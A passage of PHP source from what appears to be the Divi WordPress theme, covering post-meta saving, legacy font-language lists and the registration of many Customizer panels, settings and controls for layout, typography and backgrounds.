sanitize_text_field( $_POST['et_pb_side_nav'] ) ); } else { delete_post_meta( $post_id, '_et_pb_side_nav' ); } if ( isset( $_POST['et_pb_product_page_layout'] ) ) { update_post_meta( $post_id, '_et_pb_product_page_layout', sanitize_text_field( $_POST['et_pb_product_page_layout'] ) ); } else { delete_post_meta( $post_id, '_et_pb_product_page_layout' ); } } add_action( 'save_post', 'et_divi_post_settings_save_details', 10, 2 ); if ( ! function_exists( 'et_get_one_font_languages' ) ) : /** * Return the list of languages which support one font * * @deprecated 4.8 * * @return array */ function et_get_one_font_languages() { _deprecated_function( __FUNCTION__, '4.8', null ); $one_font_languages = array( 'ja' => array( 'language_name' => 'Japanese', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansjapanese.css', 'font_family' => "'Noto Sans Japanese', serif", ), 'ko_KR' => array( 'language_name' => 'Korean', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/hanna.css', 'font_family' => "'Hanna', serif", ), 'ms_MY' => array( 'language_name' => 'Malay', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansmalayalam.css', 'font_family' => "'Noto Sans Malayalam', serif", ), 'zh_CN' => array( 'language_name' => 'Chinese', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/cwtexfangsong.css', 'font_family' => "'cwTeXFangSong', serif", ), ); return $one_font_languages; } endif; if ( ! function_exists( 'et_get_old_one_font_languages' ) ) : /** * Return the list of languages which supported one font previously. * * @return array */ function et_get_old_one_font_languages() { $old_one_font_languages = array( 'he_IL' => array( 'language_name' => 'Hebrew', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/alefhebrew.css', 'font_family' => 'Alef Hebrew', ), 'ar' => array( 'language_name' => 'Arabic', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/lateef.css', 'font_family' => 'Lateef', ), 'th' => array( 'language_name' => 'Thai', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansthai.css', 'font_family' => 'Noto Sans Thai', ), 'ja' => array( 'language_name' => 'Japanese', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansjapanese.css', 'font_family' => 'Noto Sans Japanese', ), 'ko_KR' => array( 'language_name' => 'Korean', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/hanna.css', 'font_family' => 'Hanna', ), 'ml_IN' => array( 'language_name' => 'Malayalam', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansmalayalam.css', 'font_family' => 'Noto Sans Malayalam', ), 'zh_CN' => array( 'language_name' => 'Chinese', 'google_font_url' => '//fonts.googleapis.com/earlyaccess/cwtexfangsong.css', 'font_family' => 'cwTeXFangSong', ), ); return $old_one_font_languages; } endif; /** * Return custom default font-family for the languages which supported one font previously * @param string * @return string */ if ( ! function_exists( 'et_pb_get_specific_default_font' ) ) : function et_pb_get_specific_default_font( $font_family ) { // do nothing if font is not default if ( ! in_array( $font_family, array( 'none', '' ) ) ) { return $font_family; } $site_domain = get_locale(); // array of the languages which were "one font languages" earlier and have specific defaults $specific_defaults = et_get_old_one_font_languages(); if ( isset( $specific_defaults[ $site_domain ] ) ) { return $specific_defaults[ $site_domain ]['font_family']; } return $font_family; } endif; function et_divi_customize_register( $wp_customize ) { global $wp_version; // Get WP major version $wp_major_version = substr( $wp_version, 0, 3 ); $wp_customize->remove_section( 'title_tagline' ); $wp_customize->remove_section( 'background_image' ); $wp_customize->remove_section( 'colors' ); $wp_customize->register_control_type( 'ET_Divi_Customize_Color_Alpha_Control' ); if ( version_compare( $wp_major_version, '4.9', '>=' ) ) { wp_register_script( 'wp-color-picker-alpha', get_template_directory_uri() . '/includes/builder/scripts/ext/wp-color-picker-alpha.min.js', array( 'jquery', 'wp-color-picker' ) ); wp_localize_script( 'wp-color-picker-alpha', 'et_pb_color_picker_strings', apply_filters( 'et_pb_color_picker_strings_builder', array( 'legacy_pick' => esc_html__( 'Select', 'et_builder' ), 'legacy_current' => esc_html__( 'Current Color', 'et_builder' ), ) ) ); } else { wp_register_script( 'wp-color-picker-alpha', get_template_directory_uri() . '/includes/builder/scripts/ext/wp-color-picker-alpha-48.min.js', array( 'jquery', 'wp-color-picker' ) ); } $option_set_name = 'et_customizer_option_set'; $option_set_allowed_values = apply_filters( 'et_customizer_option_set_allowed_values', array( 'module', 'theme' ) ); $customizer_option_set = ''; /** * Set a transient, * if 'et_customizer_option_set' query parameter is set to one of the allowed values */ if ( isset( $_GET[ $option_set_name ] ) && in_array( $_GET[ $option_set_name ], $option_set_allowed_values ) ) { $customizer_option_set = $_GET[ $option_set_name ]; set_transient( 'et_divi_customizer_option_set', $customizer_option_set, DAY_IN_SECONDS ); } if ( '' === $customizer_option_set && ( $et_customizer_option_set_value = get_transient( 'et_divi_customizer_option_set' ) ) ) { $customizer_option_set = $et_customizer_option_set_value; } et_builder_init_global_settings(); // Determine if current request is Design Preview Link. Design Preview Link was added on // WordPress 4.9 and enables user to share customizer change without the need to publish the // customizer change first: save customizer change as draft, copy the link, and share it with // collaborator. Design Preview Link works on non-logged in user // @see https://codex.wordpress.org/Version_4.9 $is_customizer_public_shared_link = ! is_admin() && is_customize_preview() && ! $wp_customize->get_messenger_channel(); // display wp error screen if theme customizer disabled for current user if ( ! et_pb_is_allowed( 'theme_customizer' ) && ! $is_customizer_public_shared_link ) { wp_die( esc_html__( "you don't have sufficient permissions to access this page", 'Divi' ) ); } et_divi_customizer_theme_settings( $wp_customize ); } add_action( 'customize_register', 'et_divi_customize_register' ); if ( ! function_exists( 'et_divi_customizer_theme_settings' ) ) : /** * Add our customizer settings. * * @param \WP_Customize_Manager $wp_customize WP_Customize_Manager object. */ function et_divi_customizer_theme_settings( $wp_customize ) { $site_domain = get_locale(); $google_fonts = et_builder_get_fonts( array( 'prepend_standard_fonts' => false, ) ); $user_fonts = et_builder_get_custom_fonts(); // combine google fonts with custom user fonts. $google_fonts = array_merge( $user_fonts, $google_fonts ); $et_domain_fonts = array( 'ru_RU' => 'cyrillic', 'uk' => 'cyrillic', 'bg_BG' => 'cyrillic', 'vi' => 'vietnamese', 'el' => 'greek', 'ar' => 'arabic', 'he_IL' => 'hebrew', 'th' => 'thai', 'si_lk' => 'sinhala', 'bn_bd' => 'bengali', 'ta_lk' => 'tamil', 'te' => 'telegu', 'km' => 'khmer', 'kn' => 'kannada', 'ml_in' => 'malayalam', 'ja' => 'japanese', 'ko_KR' => 'korean', 'ml_IN' => 'malayalam', 'zh_CN' => 'chinese-simplified', ); $font_choices = array(); $font_choices['none'] = array( 'label' => 'Default Theme Font', ); $removed_fonts_mapping = et_builder_old_fonts_mapping(); foreach ( $google_fonts as $google_font_name => $google_font_properties ) { $use_parent_font = false; if ( isset( $removed_fonts_mapping[ $google_font_name ] ) ) { $parent_font = $removed_fonts_mapping[ $google_font_name ]['parent_font']; $google_font_properties['character_set'] = $google_fonts[ $parent_font ]['character_set']; $use_parent_font = true; } if ( '' !== $site_domain && isset( $et_domain_fonts[ $site_domain ] ) && isset( $google_font_properties['character_set'] ) && false === strpos( $google_font_properties['character_set'], $et_domain_fonts[ $site_domain ] ) ) { continue; } $font_choices[ $google_font_name ] = array( 'label' => $google_font_name, 'data' => array( 'parent_font' => $use_parent_font ? $google_font_properties['parent_font'] : '', 'parent_styles' => $use_parent_font ? $google_fonts[ $parent_font ]['styles'] : $google_font_properties['styles'], 'current_styles' => $use_parent_font && isset( $google_fonts[ $parent_font ]['styles'] ) && isset( $google_font_properties['styles'] ) ? $google_font_properties['styles'] : '', 'parent_subset' => $use_parent_font && isset( $google_fonts[ $parent_font ]['character_set'] ) ? $google_fonts[ $parent_font ]['character_set'] : '', 'standard' => isset( $google_font_properties['standard'] ) && $google_font_properties['standard'] ? 'on' : 'off', ), ); } $wp_customize->add_panel( 'et_divi_general_settings', array( 'title' => esc_html__( 'General Settings', 'Divi' ), 'priority' => 1, ) ); $wp_customize->add_section( 'title_tagline', array( 'title' => esc_html__( 'Site Identity', 'Divi' ), 'panel' => 'et_divi_general_settings', ) ); $wp_customize->add_section( 'et_divi_general_layout', array( 'title' => esc_html__( 'Layout Settings', 'Divi' ), 'panel' => 'et_divi_general_settings', ) ); $wp_customize->add_section( 'et_divi_general_typography', array( 'title' => esc_html__( 'Typography', 'Divi' ), 'panel' => 'et_divi_general_settings', ) ); $wp_customize->add_panel( 'et_divi_mobile', array( 'title' => esc_html__( 'Mobile Styles', 'Divi' ), 'priority' => 6, ) ); $wp_customize->add_section( 'et_divi_mobile_tablet', array( 'title' => esc_html__( 'Tablet', 'Divi' ), 'panel' => 'et_divi_mobile', ) ); $wp_customize->add_section( 'et_divi_mobile_phone', array( 'title' => esc_html__( 'Phone', 'Divi' ), 'panel' => 'et_divi_mobile', ) ); $wp_customize->add_section( 'et_divi_mobile_menu', array( 'title' => esc_html__( 'Mobile Menu', 'Divi' ), 'panel' => 'et_divi_mobile', ) ); $wp_customize->add_section( 'et_divi_general_background', array( 'title' => esc_html__( 'Background', 'Divi' ), 'panel' => 'et_divi_general_settings', ) ); $wp_customize->add_panel( 'et_divi_header_panel', array( 'title' => esc_html__( 'Header & Navigation', 'Divi' ), 'priority' => 2, ) ); $wp_customize->add_section( 'et_divi_header_layout', array( 'title' => esc_html__( 'Header Format', 'Divi' ), 'panel' => 'et_divi_header_panel', ) ); $wp_customize->add_section( 'et_divi_header_primary', array( 'title' => esc_html__( 'Primary Menu Bar', 'Divi' ), 'panel' => 'et_divi_header_panel', ) ); $wp_customize->add_section( 'et_divi_header_secondary', array( 'title' => esc_html__( 'Secondary Menu Bar', 'Divi' ), 'panel' => 'et_divi_header_panel', ) ); $wp_customize->add_section( 'et_divi_header_slide', array( 'title' => esc_html__( 'Slide In & Fullscreen Header Settings', 'Divi' ), 'panel' => 'et_divi_header_panel', ) ); $wp_customize->add_section( 'et_divi_header_fixed', array( 'title' => esc_html__( 'Fixed Navigation Settings', 'Divi' ), 'panel' => 'et_divi_header_panel', ) ); $wp_customize->add_section( 'et_divi_header_information', array( 'title' => esc_html__( 'Header Elements', 'Divi' ), 'panel' => 'et_divi_header_panel', ) ); $wp_customize->add_panel( 'et_divi_footer_panel', array( 'title' => esc_html__( 'Footer', 'Divi' ), 'priority' => 3, ) ); $wp_customize->add_section( 'et_divi_footer_layout', array( 'title' => esc_html__( 'Layout', 'Divi' ), 'panel' => 'et_divi_footer_panel', ) ); $wp_customize->add_section( 'et_divi_footer_widgets', array( 'title' => esc_html__( 'Widgets', 'Divi' ), 'panel' => 'et_divi_footer_panel', ) ); $wp_customize->add_section( 'et_divi_footer_elements', array( 'title' => esc_html__( 'Footer Elements', 'Divi' ), 'panel' => 'et_divi_footer_panel', ) ); $wp_customize->add_section( 'et_divi_footer_menu', array( 'title' => esc_html__( 'Footer Menu', 'Divi' ), 'panel' => 'et_divi_footer_panel', ) ); $wp_customize->add_section( 'et_divi_bottom_bar', array( 'title' => esc_html__( 'Bottom Bar', 'Divi' ), 'panel' => 'et_divi_footer_panel', ) ); $wp_customize->add_section( 'et_color_schemes', array( 'title' => esc_html__( 'Color Schemes', 'Divi' ), 'priority' => 7, 'description' => esc_html__( 'Note: Color settings set above should be applied to the Default color scheme.', 'Divi' ), ) ); $wp_customize->add_panel( 'et_divi_buttons_settings', array( 'title' => esc_html__( 'Buttons', 'Divi' ), 'priority' => 4, ) ); $wp_customize->add_section( 'et_divi_buttons', array( 'title' => esc_html__( 'Buttons Style', 'Divi' ), 'panel' => 'et_divi_buttons_settings', ) ); $wp_customize->add_section( 'et_divi_buttons_hover', array( 'title' => esc_html__( 'Buttons Hover Style', 'Divi' ), 'panel' => 'et_divi_buttons_settings', ) ); $wp_customize->add_panel( 'et_divi_blog_settings', array( 'title' => esc_html__( 'Blog', 'Divi' ), 'priority' => 5, ) ); $wp_customize->add_section( 'et_divi_blog_post', array( 'title' => esc_html__( 'Post', 'Divi' ), 'panel' => 'et_divi_blog_settings', ) ); $wp_customize->add_setting( 'et_divi[post_meta_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[post_meta_font_size]', array( 'label' => esc_html__( 'Meta Text Size', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[post_meta_height]', array( 'default' => '1', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_float_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[post_meta_height]', array( 'label' => esc_html__( 'Meta Line Height', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'range', 'input_attrs' => array( 'min' => .8, 'max' => 3, 'step' => .1, ), ) ) ); $wp_customize->add_setting( 'et_divi[post_meta_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[post_meta_spacing]', array( 'label' => esc_html__( 'Meta Letter Spacing', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'range', 'input_attrs' => array( 'min' => -2, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[post_meta_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[post_meta_style]', array( 'label' => esc_html__( 'Meta Font Style', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[post_header_font_size]', array( 'default' => '30', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[post_header_font_size]', array( 'label' => esc_html__( 'Header Text Size', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 72, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[post_header_height]', array( 'default' => '1', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_float_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[post_header_height]', array( 'label' => esc_html__( 'Header Line Height', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'range', 'input_attrs' => array( 'min' => 0.8, 'max' => 3, 'step' => 0.1, ), ) ) ); $wp_customize->add_setting( 'et_divi[post_header_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[post_header_spacing]', array( 'label' => esc_html__( 'Header Letter Spacing', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'range', 'input_attrs' => array( 'min' => -2, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[post_header_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[post_header_style]', array( 'label' => esc_html__( 'Header Font Style', 'Divi' ), 'section' => 'et_divi_blog_post', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[boxed_layout]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[boxed_layout]', array( 'label' => esc_html__( 'Enable Boxed Layout', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[content_width]', array( 'default' => '1080', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[content_width]', array( 'label' => esc_html__( 'Website Content Width', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'range', 'input_attrs' => array( 'min' => 960, 'max' => 1920, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[gutter_width]', array( 'default' => '3', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[gutter_width]', array( 'label' => esc_html__( 'Website Gutter Width', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'range', 'input_attrs' => array( 'min' => 1, 'max' => 4, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[use_sidebar_width]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[use_sidebar_width]', array( 'label' => esc_html__( 'Use Custom Sidebar Width', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[sidebar_width]', array( 'default' => '21', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[sidebar_width]', array( 'label' => esc_html__( 'Sidebar Width', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'range', 'input_attrs' => array( 'min' => 19, 'max' => 33, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[section_padding]', array( 'default' => '4', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[section_padding]', array( 'label' => esc_html__( 'Section Height', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[phone_section_height]', array( 'default' => et_get_option( 'tablet_section_height', '50' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[phone_section_height]', array( 'label' => esc_html__( 'Section Height', 'Divi' ), 'section' => 'et_divi_mobile_phone', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 150, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[tablet_section_height]', array( 'default' => '50', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[tablet_section_height]', array( 'label' => esc_html__( 'Section Height', 'Divi' ), 'section' => 'et_divi_mobile_tablet', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 150, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[row_padding]', array( 'default' => '2', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[row_padding]', array( 'label' => esc_html__( 'Row Height', 'Divi' ), 'section' => 'et_divi_general_layout', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[phone_row_height]', array( 'default' => et_get_option( 'tablet_row_height', '30' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[phone_row_height]', array( 'label' => esc_html__( 'Row Height', 'Divi' ), 'section' => 'et_divi_mobile_phone', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 150, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[tablet_row_height]', array( 'default' => '30', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[tablet_row_height]', array( 'label' => esc_html__( 'Row Height', 'Divi' ), 'section' => 'et_divi_mobile_tablet', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 150, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[cover_background]', array( 'default' => 'on', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[cover_background]', array( 'label' => esc_html__( 'Stretch Background Image', 'Divi' ), 'section' => 'et_divi_general_background', 'type' => 'checkbox', ) ); if ( ! is_null( $wp_customize->get_setting( 'background_color' ) ) ) { $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'background_color', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_general_background', ) ) ); } if ( ! is_null( $wp_customize->get_setting( 'background_image' ) ) ) { $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'background_image', array( 'label' => esc_html__( 'Background Image', 'Divi' ), 'section' => 'et_divi_general_background', ) ) ); } // Remove default background_repeat setting and control since native // background_repeat field has different different settings. $wp_customize->remove_setting( 'background_repeat' ); $wp_customize->remove_control( 'background_repeat' ); // Re-defined Divi specific background repeat option. $wp_customize->add_setting( 'background_repeat', array( 'default' => apply_filters( 'et_divi_background_repeat_default', 'repeat' ), 'sanitize_callback' => 'et_sanitize_background_repeat', 'theme_supports' => 'custom-background', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'background_repeat', array( 'label' => esc_html__( 'Background Repeat', 'Divi' ), 'section' => 'et_divi_general_background', 'type' => 'radio', 'choices' => et_divi_background_repeat_choices(), ) ); $wp_customize->add_control( 'background_position_x', array( 'label' => esc_html__( 'Background Position', 'Divi' ), 'section' => 'et_divi_general_background', 'type' => 'radio', 'choices' => array( 'left' => esc_html__( 'Left', 'Divi' ), 'center' => esc_html__( 'Center', 'Divi' ), 'right' => esc_html__( 'Right', 'Divi' ), ), ) ); // Remove default background_attachment setting and control since native // background_attachment field has different different settings. $wp_customize->remove_setting( 'background_attachment' ); $wp_customize->remove_control( 'background_attachment' ); $wp_customize->add_setting( 'background_attachment', array( 'default' => apply_filters( 'et_sanitize_background_attachment_default', 'scroll' ), 'sanitize_callback' => 'et_sanitize_background_attachment', 'theme_supports' => 'custom-background', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'background_attachment', array( 'label' => esc_html__( 'Background Position', 'Divi' ), 'section' => 'et_divi_general_background', 'type' => 'radio', 'choices' => et_divi_background_attachment_choices(), ) ); $wp_customize->add_setting( 'et_divi[body_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[body_font_size]', array( 'label' => esc_html__( 'Body Text Size', 'Divi' ), 'section' => 'et_divi_general_typography', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[body_font_height]', array( 'default' => '1.7', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_float_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[body_font_height]', array( 'label' => esc_html__( 'Body Line Height', 'Divi' ), 'section' => 'et_divi_general_typography', 'type' => 'range', 'input_attrs' => array( 'min' => 0.8, 'max' => 3, 'step' => 0.1, ), ) ) ); $wp_customize->add_setting( 'et_divi[phone_body_font_size]', array( 'default' => et_get_option( 'tablet_body_font_size', '14' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[phone_body_font_size]', array( 'label' => esc_html__( 'Body Text Size', 'Divi' ), 'section' => 'et_divi_mobile_phone', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[tablet_body_font_size]', array( 'default' => et_get_option( 'body_font_size', '14' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[tablet_body_font_size]', array( 'label' => esc_html__( 'Body Text Size', 'Divi' ), 'section' => 'et_divi_mobile_tablet', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[body_header_size]', array( 'default' => '30', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[body_header_size]', array( 'label' => esc_html__( 'Header Text Size', 'Divi' ), 'section' => 'et_divi_general_typography', 'type' => 'range', 'input_attrs' => array( 'min' => 22, 'max' => 72, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[body_header_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[body_header_spacing]', array( 'label' => esc_html__( 'Header Letter Spacing', 'Divi' ), 'section' => 'et_divi_general_typography', 'type' => 'range', 'input_attrs' => array( 'min' => -2, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[body_header_height]', array( 'default' => '1', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_float_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[body_header_height]', array( 'label' => esc_html__( 'Header Line Height', 'Divi' ), 'section' => 'et_divi_general_typography', 'type' => 'range', 'input_attrs' => array( 'min' => 0.8, 'max' => 3, 'step' => 0.1, ), ) ) ); $wp_customize->add_setting( 'et_divi[body_header_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_divi_global_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[body_header_style]', array( 'label' => esc_html__( 'Header Font Style', 'Divi' ), 'section' => 'et_divi_general_typography', 'type' => 'font_style', 'choices' => et_divi_global_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[phone_header_font_size]', array( 'default' => et_get_option( 'tablet_header_font_size', '30' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[phone_header_font_size]', array( 'label' => esc_html__( 'Header Text Size', 'Divi' ), 'section' => 'et_divi_mobile_phone', 'type' => 'range', 'input_attrs' => array( 'min' => 22, 'max' => 72, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[tablet_header_font_size]', array( 'default' => et_get_option( 'body_header_size', '30' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[tablet_header_font_size]', array( 'label' => esc_html__( 'Header Text Size', 'Divi' ), 'section' => 'et_divi_mobile_tablet', 'type' => 'range', 'input_attrs' => array( 'min' => 22, 'max' => 72, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[heading_font]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_choices', ) ); $wp_customize->add_control( new ET_Divi_Select_Option( $wp_customize, 'et_divi[heading_font]', array( 'label' => esc_html__( 'Header Font', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[heading_font]', 'type' => 'select', 'choices' => $font_choices, ) ) ); $wp_customize->add_setting( 'et_divi[heading_font_weight]', array( 'default' => '500', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_global_font_weight', ) ); $wp_customize->add_control( new ET_Divi_Custom_Select_Option( $wp_customize, 'et_divi[heading_font_weight]', array( 'label' => esc_html__( 'Header Font Weight', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[heading_font_weight]', 'type' => 'select', 'choices' => et_builder_get_font_weight_list(), ) ) ); $wp_customize->add_setting( 'et_divi[header_color]', array( 'default' => '#666666', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 